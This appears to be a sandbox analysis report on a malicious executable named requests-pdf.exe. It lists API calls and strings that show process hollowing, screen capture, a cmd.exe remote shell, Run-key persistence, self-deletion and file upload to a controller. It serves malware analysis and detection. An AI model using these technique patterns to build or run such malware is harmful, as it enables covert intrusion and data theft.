                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: AddressHandleModuleProc
                                                    • String ID: C:\Users\user\Desktop\requests-pdf.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                                                    • API String ID: 1646373207-2022915910
                                                    • Opcode ID: 4215aa750f6926a1b4092da29332a0681cdff8c3ca49fe138229b5bb5280378e
                                                    • Instruction ID: b313d74494c875c8407327c43f2905d2eb3972c2d2e01a1e2b33da4df8ba43a1
                                                    • Opcode Fuzzy Hash: 4215aa750f6926a1b4092da29332a0681cdff8c3ca49fe138229b5bb5280378e
                                                    • Instruction Fuzzy Hash: 1F011EA4E40B1675DB21677A7C54D176EAC9E502917190433B40AF22B1FEBCD410CD7D
                                                    Function 024E8206 Relevance: 31.8, APIs: 21, Instructions: 324windowmemoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateDCA.GDI32(0046BAC8,00000000,00000000,00000000), ref: 024E8220
                                                    • CreateCompatibleDC.GDI32(00000000), ref: 024E822B
                                                      • Part of subcall function 024E86B9: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 024E86E9
                                                    • CreateCompatibleBitmap.GDI32(?,00000000), ref: 024E82AC
                                                    • SelectObject.GDI32(00000000,00000000), ref: 024E82D2
                                                    • StretchBlt.GDI32(00000000,00000000,00000000,00000000,?,?,?,?,00000000,?,00CC0020), ref: 024E82FA
                                                    • GetCursorInfo.USER32(?), ref: 024E831C
                                                    • GetIconInfo.USER32(?,?), ref: 024E8332
                                                    • DeleteObject.GDI32(?), ref: 024E8361
                                                    • DeleteObject.GDI32(?), ref: 024E836E
                                                    • DrawIcon.USER32(00000000,?,?,?), ref: 024E837B
                                                    • BitBlt.GDI32(00000000,00000000,00000000,00000000,?,00471DE4,00000000,00000000,00660046), ref: 024E83AB
                                                    • GetObjectA.GDI32(?,00000018,?), ref: 024E83DA
                                                    • LocalAlloc.KERNEL32(00000040,00000028), ref: 024E8423
                                                    • LocalAlloc.KERNEL32(00000040,00000001), ref: 024E8446
                                                    • GlobalAlloc.KERNEL32(00000000,?), ref: 024E84AF
                                                    • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 024E84D2
                                                    • DeleteObject.GDI32(00000000), ref: 024E84EC
                                                    • GlobalFree.KERNEL32(00CC0020), ref: 024E84F7
                                                    • DeleteObject.GDI32(00000000), ref: 024E85AB
                                                    • GlobalFree.KERNEL32(?), ref: 024E85B2
                                                    • DeleteObject.GDI32(?), ref: 024E8608
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Object$Delete$AllocCreateGlobal$CompatibleFreeIconInfoLocal$BitmapBitsCursorDisplayDrawEnumSelectSettingsStretch
                                                    • String ID:
                                                    • API String ID: 615876539-0
                                                    • Opcode ID: 86e38cefe18f60a5317b990390b8ef0f53fe4f457a10542f643d98f04a2d82c8
                                                    • Instruction ID: 6e54d060fb12f19adfb238341f8063d82695bdb68aaef04bbdcc9e4dab15d76f
                                                    • Opcode Fuzzy Hash: 86e38cefe18f60a5317b990390b8ef0f53fe4f457a10542f643d98f04a2d82c8
                                                    • Instruction Fuzzy Hash: 87C16B715083409FEB20DF65DC44B6BBBE9EF84741F04482EF98A972A1DB70E944CB66
                                                    Function 0041B1BB Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • lstrlenW.KERNEL32(?), ref: 0041B1D6
                                                    • _memcmp.LIBVCRUNTIME ref: 0041B1EE
                                                    • lstrlenW.KERNEL32(?), ref: 0041B207
                                                    • FindFirstVolumeW.KERNEL32(?,00000104,?), ref: 0041B242
                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041B255
                                                    • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041B299
                                                    • lstrcmpW.KERNEL32(?,?), ref: 0041B2B4
                                                    • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041B2CC
                                                    • _wcslen.LIBCMT ref: 0041B2DB
                                                    • FindVolumeClose.KERNEL32(?), ref: 0041B2FB
                                                    • GetLastError.KERNEL32 ref: 0041B313
                                                    • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041B340
                                                    • lstrcatW.KERNEL32(?,?), ref: 0041B359
                                                    • lstrcpyW.KERNEL32(?,?), ref: 0041B368
                                                    • GetLastError.KERNEL32 ref: 0041B370
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                                                    • String ID: ?
                                                    • API String ID: 3941738427-1684325040
                                                    • Opcode ID: d489e3e95fd4da7a256b353d04e65c95c699bf3c253225e66008eb700c534145
                                                    • Instruction ID: 2e0df54dd889987763cd5022c3700ac4418931210c184d5857636408485aa128
                                                    • Opcode Fuzzy Hash: d489e3e95fd4da7a256b353d04e65c95c699bf3c253225e66008eb700c534145
                                                    • Instruction Fuzzy Hash: 8B416F71508305AAD7209FA1EC8C9EBB7E8EB49715F00096BF541C2261EB78C98887D6
                                                    Function 024EB422 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • lstrlenW.KERNEL32(?), ref: 024EB43D
                                                    • _memcmp.LIBVCRUNTIME ref: 024EB455
                                                    • lstrlenW.KERNEL32(?), ref: 024EB46E
                                                    • FindFirstVolumeW.KERNEL32(?,00000104,?), ref: 024EB4A9
                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 024EB4BC
                                                    • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 024EB500
                                                    • lstrcmpW.KERNEL32(?,?), ref: 024EB51B
                                                    • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 024EB533
                                                    • _wcslen.LIBCMT ref: 024EB542
                                                    • FindVolumeClose.KERNEL32(?), ref: 024EB562
                                                    • GetLastError.KERNEL32 ref: 024EB57A
                                                    • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 024EB5A7
                                                    • lstrcatW.KERNEL32(?,?), ref: 024EB5C0
                                                    • lstrcpyW.KERNEL32(?,?), ref: 024EB5CF
                                                    • GetLastError.KERNEL32 ref: 024EB5D7
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                                                    • String ID: ?
                                                    • API String ID: 3941738427-1684325040
                                                    • Opcode ID: d489e3e95fd4da7a256b353d04e65c95c699bf3c253225e66008eb700c534145
                                                    • Instruction ID: 5a8b7d89af6e9a795a9eb79dba65485250718e0673997aad7c155510ea392b4a
                                                    • Opcode Fuzzy Hash: d489e3e95fd4da7a256b353d04e65c95c699bf3c253225e66008eb700c534145
                                                    • Instruction Fuzzy Hash: D44150715083069BEB21DF64EC88AAB77E8FF4471AF00493BF546D2261EB74C548CB92
                                                    Function 0251E475 Relevance: 27.4, APIs: 18, Instructions: 419COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$EnvironmentVariable$___from_strstr_to_strchr_wcschr
                                                    • String ID:
                                                    • API String ID: 2719235668-0
                                                    • Opcode ID: 8f41269c20bd7867c5cee3d16b4b1ea97dee87ff38f7f4f352333e12906372dc
                                                    • Instruction ID: 4bc889c97a86480905c52e635adc725484ebd1f9dea3ef657966175065ccbfca
                                                    • Opcode Fuzzy Hash: 8f41269c20bd7867c5cee3d16b4b1ea97dee87ff38f7f4f352333e12906372dc
                                                    • Instruction Fuzzy Hash: 2ED136719003016FFB25AF78D886B6E7FA9BF81324F05416DED4597280EB329A41CF99
                                                    Function 024E74AC Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 290threadinjectionprocessCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 024E75D3
                                                    • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 024E75EB
                                                    • GetThreadContext.KERNEL32(?,00000000), ref: 024E7601
                                                    • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 024E7627
                                                    • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 024E76A7
                                                    • TerminateProcess.KERNEL32(?,00000000), ref: 024E76BB
                                                    • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 024E76F2
                                                    • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 024E77BF
                                                    • SetThreadContext.KERNEL32(?,00000000), ref: 024E77DC
                                                    • ResumeThread.KERNEL32(?), ref: 024E77E9
                                                    • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 024E7801
                                                    • GetCurrentProcess.KERNEL32(?), ref: 024E780C
                                                    • TerminateProcess.KERNEL32(?,00000000), ref: 024E7826
                                                    • GetLastError.KERNEL32 ref: 024E782E
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                                                    • String ID: ntdll
                                                    • API String ID: 3275803005-3337577438
                                                    • Opcode ID: 42c1c999d1834e7e824fdbb4d1330a48ff0e689257c4ebc4fb7692fa9ae4ea32
                                                    • Instruction ID: 076e56343debf9ded8decbbce352305580d5bcedd1ceec941cc49953b71ceefb
                                                    • Opcode Fuzzy Hash: 42c1c999d1834e7e824fdbb4d1330a48ff0e689257c4ebc4fb7692fa9ae4ea32
                                                    • Instruction Fuzzy Hash: 31A17BB1504304AFEB10DF65DC45B6BBBE8FF48359F00082AF68A82261E771E444CF69
                                                    Function 024D52A9 Relevance: 26.5, APIs: 9, Strings: 6, Instructions: 280sleepfileprocessCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __Init_thread_footer.LIBCMT ref: 024D52F5
                                                      • Part of subcall function 02503736: RtlEnterCriticalSection.NTDLL(00470D18), ref: 02503740
                                                      • Part of subcall function 02503736: RtlLeaveCriticalSection.NTDLL(00470D18), ref: 02503773
                                                      • Part of subcall function 024D46CF: send.WS2_32(?,00000000,00000000,00000000), ref: 024D4764
                                                    • __Init_thread_footer.LIBCMT ref: 024D5332
                                                    • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00475C08,00475CDC), ref: 024D544E
                                                      • Part of subcall function 02503780: RtlEnterCriticalSection.NTDLL(00470D18), ref: 0250378B
                                                      • Part of subcall function 02503780: RtlLeaveCriticalSection.NTDLL(00470D18), ref: 025037C8
                                                    • Sleep.KERNEL32(0000012C,00000093,?), ref: 024D54A6
                                                    • PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 024D54CB
                                                    • ReadFile.KERNEL32(00000000,?,?,00000000), ref: 024D54F8
                                                      • Part of subcall function 02503B0C: __onexit.LIBCMT ref: 02503B12
                                                    • WriteFile.KERNEL32(00000000,00000000,?,00000000,00473F98,00465570,00000062,00465554), ref: 024D55F5
                                                    • Sleep.KERNEL32(00000064,00000062,00465554), ref: 024D560F
                                                    • TerminateProcess.KERNEL32(00000000), ref: 024D5628
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CriticalSection$EnterFileInit_thread_footerLeaveProcessSleep$CreateNamedPeekPipeReadTerminateWrite__onexitsend
                                                    • String ID: P\G$P\G$P\G$P\G$P\G$cmd.exe
                                                    • API String ID: 121539554-3292008770
                                                    • Opcode ID: 797804256bd83e4a27056d5b7dd8b844625091c3a01af072158c3512f2156987
                                                    • Instruction ID: cf23454f291c9f0108c8900494659e2b312edcb8ebf9bfe5aa2ee8856b981cf8
                                                    • Opcode Fuzzy Hash: 797804256bd83e4a27056d5b7dd8b844625091c3a01af072158c3512f2156987
                                                    • Instruction Fuzzy Hash: E591EA716007056FD716BB25ECA4F6E3B5AEB40744F80443FF90AAA2E1DFA49C448F69
                                                    Function 0044E20E Relevance: 25.9, APIs: 17, Instructions: 419COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$EnvironmentVariable$_wcschr
                                                    • String ID:
                                                    • API String ID: 3899193279-0
                                                    • Opcode ID: 8f41269c20bd7867c5cee3d16b4b1ea97dee87ff38f7f4f352333e12906372dc
                                                    • Instruction ID: 8ac3cd9939a067627e1c481289c57a7f9f94b657261427fab31af25724b0c78e
                                                    • Opcode Fuzzy Hash: 8f41269c20bd7867c5cee3d16b4b1ea97dee87ff38f7f4f352333e12906372dc
                                                    • Instruction Fuzzy Hash: 96D13C719007007FFB25AF7B9881A6F7BA4BF02314F0541AFF905A7381E63989418B9D
                                                    Function 00411C81 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 479sleepfileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00411C9A
                                                      • Part of subcall function 0041AB38: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,00403A40), ref: 0041AB5F
                                                      • Part of subcall function 004176B6: CloseHandle.KERNEL32(00403AB9,?,?,00403AB9,00465324), ref: 004176CC
                                                      • Part of subcall function 004176B6: CloseHandle.KERNEL32($SF,?,?,00403AB9,00465324), ref: 004176D5
                                                    • Sleep.KERNEL32(0000000A,00465324), ref: 00411DEC
                                                    • Sleep.KERNEL32(0000000A,00465324,00465324), ref: 00411E8E
                                                    • Sleep.KERNEL32(0000000A,00465324,00465324,00465324), ref: 00411F30
                                                    • DeleteFileW.KERNEL32(00000000,00465324,00465324,00465324), ref: 00411F91
                                                    • DeleteFileW.KERNEL32(00000000,00465324,00465324,00465324), ref: 00411FC8
                                                    • DeleteFileW.KERNEL32(00000000,00465324,00465324,00465324), ref: 00412004
                                                    • Sleep.KERNEL32(000001F4,00465324,00465324,00465324), ref: 0041201E
                                                    • Sleep.KERNEL32(00000064), ref: 00412060
                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                                                    • String ID: /stext "$HDG$HDG$>G$>G
                                                    • API String ID: 1223786279-3931108886
                                                    • Opcode ID: 36ecec2bd287229840889fa2f21ce4d309759ff1e99f2e4f361d0ee51ee9b760
                                                    • Instruction ID: 1febf249a593eb43810efab42e14b6693ac358e03ba90545e56d33427da79e18
                                                    • Opcode Fuzzy Hash: 36ecec2bd287229840889fa2f21ce4d309759ff1e99f2e4f361d0ee51ee9b760
                                                    • Instruction Fuzzy Hash: 960243315083414AC325FB61D891AEFB7D5AFD4308F50493FF88A931E2EF785A49C69A
                                                    Function 00413E37 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00413E86
                                                    • LoadLibraryA.KERNEL32(?), ref: 00413EC8
                                                    • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00413EE8
                                                    • FreeLibrary.KERNEL32(00000000), ref: 00413EEF
                                                    • LoadLibraryA.KERNEL32(?), ref: 00413F27
                                                    • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00413F39
                                                    • FreeLibrary.KERNEL32(00000000), ref: 00413F40
                                                    • GetProcAddress.KERNEL32(00000000,?), ref: 00413F4F
                                                    • FreeLibrary.KERNEL32(00000000), ref: 00413F66
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Library$AddressFreeProc$Load$DirectorySystem
                                                    • String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                                                    • API String ID: 2490988753-744132762
                                                    • Opcode ID: ba6e91efba9758633ea9bec27d31a254a4df24d425156724d9bfa6bc4db7eb59
                                                    • Instruction ID: a4547f3d416e9253f7b1cbdd0907a67efdadb69b2b53743d1710677937ed8fa2
                                                    • Opcode Fuzzy Hash: ba6e91efba9758633ea9bec27d31a254a4df24d425156724d9bfa6bc4db7eb59
                                                    • Instruction Fuzzy Hash: 6D31C4B1906315A7D320AF25DC44ACBB7ECEF44745F400A2AF844D3201D778DA858AEE
                                                    Function 024DC16B Relevance: 23.0, APIs: 4, Strings: 9, Instructions: 260registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 024E1900: TerminateProcess.KERNEL32(00000000,?,024DC8E4), ref: 024E1910
                                                      • Part of subcall function 024E1900: WaitForSingleObject.KERNEL32(000000FF,?,024DC8E4), ref: 024E1923
                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004742F8,?,pth_unenc), ref: 024DC27A
                                                    • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 024DC28D
                                                      • Part of subcall function 024EAD9F: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,024D3CA7), ref: 024EADC6
                                                    • ShellExecuteW.SHELL32(00000000,0046559C,00000000,00465900,00465900,00000000), ref: 024DC4E7
                                                    • ExitProcess.KERNEL32 ref: 024DC4EE
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CurrentDeleteExecuteExitFileModuleNameObjectShellSingleTerminateWait
                                                    • String ID: @CG$On Error Resume Next$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$`=G$exepath$fso.DeleteFolder "$pth_unenc$while fso.FileExists("
                                                    • API String ID: 508158800-1730539264
                                                    • Opcode ID: a33fc09c9556ef91ef2cee6c22be68f1294df09e9ea1a498d22c8dae3f6f7800
                                                    • Instruction ID: 17faf5c921d18b90cb9511f2534d747a1ba9c46acc0e30e5d86cfa2b9a412b41
                                                    • Opcode Fuzzy Hash: a33fc09c9556ef91ef2cee6c22be68f1294df09e9ea1a498d22c8dae3f6f7800
                                                    • Instruction Fuzzy Hash: 9C81B1316042405BC725FB21D8B0EAF73ABAF90700F50446FE99697295EFA49D09CE56
                                                    Function 0041B824 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041B846
                                                    • RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 0041B88A
                                                    • RegCloseKey.ADVAPI32(?), ref: 0041BB54
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseEnumOpen
                                                    • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                                                    • API String ID: 1332880857-3714951968
                                                    • Opcode ID: c129c5d3b2225b1f8cda05c9a3a6c18510288d4317852ec5d704d9b0c7986d58
                                                    • Instruction ID: 4ca6cd9db44c7b11bab16217f2b7ba144dfc64e74838f3250c32f9e768a6938f
                                                    • Opcode Fuzzy Hash: c129c5d3b2225b1f8cda05c9a3a6c18510288d4317852ec5d704d9b0c7986d58
                                                    • Instruction Fuzzy Hash: 8C812E311082449BD324EB11DC51AEFB7E9FFD4314F10493FB58A921E1EF74AA49CA9A
                                                    Function 00444F3D Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$Info
                                                    • String ID:
                                                    • API String ID: 2509303402-0
                                                    • Opcode ID: 4f311dc35998d231116b4ef065710eb7bf66da857f64ae236b680615c36f9f73
                                                    • Instruction ID: 0af7f9009007d8880989bd470fdb3e4a62bb8e65dbd2af1b74ff5c8893cb1db7
                                                    • Opcode Fuzzy Hash: 4f311dc35998d231116b4ef065710eb7bf66da857f64ae236b680615c36f9f73
                                                    • Instruction Fuzzy Hash: D0B18F71900605AFEF11DFA9C881BEEBBF4BF49304F14406EF855B7242DA79A8458B64
                                                    Function 00407DEF Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 325fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,000000B6), ref: 00407F4C
                                                    • GetFileSizeEx.KERNEL32(00000000,00000000), ref: 00407FC2
                                                    • __aulldiv.LIBCMT ref: 00407FE9
                                                    • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 0040810D
                                                    • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408128
                                                    • CloseHandle.KERNEL32(00000000), ref: 00408200
                                                    • CloseHandle.KERNEL32(00000000,00000052,00000000,?), ref: 0040821A
                                                    • CloseHandle.KERNEL32(00000000), ref: 00408256
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CloseHandle$CreatePointerReadSize__aulldiv
                                                    • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $>G
                                                    • API String ID: 1884690901-3066803209
                                                    • Opcode ID: 7205d9af98df91b965123a054d585fa7c0d52e82773df9d6c890248cdbc6b411
                                                    • Instruction ID: 222450ca6543349723abdfa1177da379b39b5876d7444fbb960ea0ab75079841
                                                    • Opcode Fuzzy Hash: 7205d9af98df91b965123a054d585fa7c0d52e82773df9d6c890248cdbc6b411
                                                    • Instruction Fuzzy Hash: DAB191316083409BC214FB25C892AAFB7E5AFD4314F40492EF885632D2EF789945C79B
                                                    Function 024DC4F5 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 282registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 024E1900: TerminateProcess.KERNEL32(00000000,?,024DC8E4), ref: 024E1910
                                                      • Part of subcall function 024E1900: WaitForSingleObject.KERNEL32(000000FF,?,024DC8E4), ref: 024E1923
                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 024DC5F2
                                                    • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 024DC605
                                                      • Part of subcall function 024EB7F6: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,?,?,00000000,024EB90C,00000000,00000000,?), ref: 024EB835
                                                    • ShellExecuteW.SHELL32(00000000,0046559C,00000000,00465900,00465900,00000000), ref: 024DC899
                                                    • ExitProcess.KERNEL32 ref: 024DC8A5
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: FileProcess$CreateDeleteExecuteExitModuleNameObjectShellSingleTerminateWait
                                                    • String ID: @CG$On Error Resume Next$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$`=G$exepath$fso.DeleteFolder "$while fso.FileExists("
                                                    • API String ID: 1359289687-1885488838
                                                    • Opcode ID: 4a4176d209088168477d8c341ab9c6af581995fbe5fc9bf84f99647e44242b62
                                                    • Instruction ID: 04f0f80f9f7106c0ad1fd1a6cbbc1659688b8b5d9b3d609237b50e904ad019f3
                                                    • Opcode Fuzzy Hash: 4a4176d209088168477d8c341ab9c6af581995fbe5fc9bf84f99647e44242b62
                                                    • Instruction Fuzzy Hash: EC91B1312042005BC725FB26DCB0EAF779BAF90701F50446FE94A932A6EFA49D49CE57
                                                    Function 024DBECE Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 203COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _wcslen.LIBCMT ref: 024DBEDC
                                                    • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 024DBEF5
                                                    • _wcslen.LIBCMT ref: 024DBFBB
                                                    • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 024DC043
                                                    • _wcslen.LIBCMT ref: 024DC09B
                                                    • CloseHandle.KERNEL32 ref: 024DC102
                                                    • ShellExecuteW.SHELL32(00000000,0046559C,00000000,00465900,00465900,00000001), ref: 024DC120
